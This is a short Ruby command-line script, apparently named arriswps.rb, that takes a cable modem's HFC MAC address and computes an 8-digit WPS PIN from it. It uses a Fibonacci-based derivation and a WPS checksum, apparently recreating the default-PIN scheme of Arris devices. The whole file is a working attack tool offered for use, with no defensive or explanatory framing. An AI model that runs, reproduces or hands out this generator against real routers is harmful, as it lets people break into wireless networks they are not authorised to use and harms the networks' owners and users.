#!/usr/bin/ruby require 'optparse' def ComputeChecksum(s) accum = 0 s *= 10 accum += 3 * ((s / 10000000) % 10) accum += 1 * ((s / 1000000) % 10) accum += 3 * ((s / 100000) % 10) accum += 1 * ((s / 10000) % 10) accum += 3 * ((s / 1000) % 10) accum += 1 * ((s / 100) % 10) accum += 3 * ((s / 10) % 10) digit = (accum % 10) return (10 - digit) % 10 end def F(n) if n==1 or n==2 or n==0 return 1 end return F(n-1) + F(n-2) end def FibGen(num) return F(num); end def GenerateWPS(strMac) fibnum = Array.new(6) fibsum=0; seed=16 count=1 offset=0 counter=0 arrayMacs = strMac.split(":").map { |s| s.hex } tmp = arrayMacs.dup for i in 0..5 if tmp[i] > 30 while tmp[i] > 31 do tmp[i] -= 16 counter += 1 end end if counter == 0 if tmp[i] < 3 tmp[i] = tmp[0]+tmp[1]+tmp[2]+tmp[3]+tmp[4]+tmp[5]-tmp[i] if tmp[i] > 0xff tmp[i] = tmp[i] & 0xff end tmp[i] = (tmp[i]%28) + 3 end fibnum[i] = FibGen(tmp[i]) else fibnum[i] = FibGen(tmp[i])+FibGen(counter) end counter = 0 end for i in 0..5 fibsum += (fibnum[i]*FibGen(i+seed))+arrayMacs[i] end fibsum = fibsum%10000000 checksum = ComputeChecksum(fibsum) fibsum = (fibsum*10) + checksum return fibsum.to_s end if __FILE__ == $0 options = {} OptionParser.new do |opts| opts.banner = "Usage: arriswps.rb OPTIONS" opts.separator "" opts.separator "Options" opts.on('-m', '--mac 00:00:00:00:00:00', 'HFC MAC ADDRESS') { |v| options[:mac_address] = v } end.parse! raise OptionParser::MissingArgument if options[:mac_address].nil? puts GenerateWPS(options[:mac_address]) end